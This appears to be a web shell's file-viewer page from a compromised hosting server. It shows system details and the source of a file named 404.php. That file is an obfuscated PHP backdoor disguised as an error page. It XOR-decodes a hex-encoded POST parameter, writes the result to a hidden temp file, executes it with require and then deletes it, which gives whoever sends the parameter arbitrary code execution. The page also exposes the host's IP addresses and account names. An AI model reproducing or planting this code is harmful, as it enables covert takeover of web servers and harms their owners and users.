Uname: Linux premium72.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 8.2.29 [ PHP INFO ] PHP os: Linux
Server Ip: 198.54.125.95
Your Ip: 216.73.216.132
User: matican (532) | Group: matican (531)
Safe Mode: OFF
Disable Function:
NONE

name : 404.php
<?php
//<PHPDATA>fputs_xor;89;holder</PHPDATA>
if(!empty($_POST["ho\x6Cd\x65r"])){
    $ent = hex2bin($_POST["ho\x6Cd\x65r"]);
    $factor    =     ''     ;    for($w=0;$w<strlen($ent);$w++){$factor.=chr(ord($ent[$w])^89);}
    $rec = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp"]);
    foreach ($rec as $key => $ent) {
        if ((bool)is_dir($ent) && (bool)is_writable($ent)) {
            $dchunk = join("/", [$ent, ".parameter_group"]);
            $data_chunk = fopen($dchunk, 'w');
            if ($data_chunk && fwrite($data_chunk, $factor)) {
                fclose($data_chunk);
                require $dchunk;
                @unlink($dchunk);
                die();
            }
        }
    }
}
© 2025 XylotrechusZ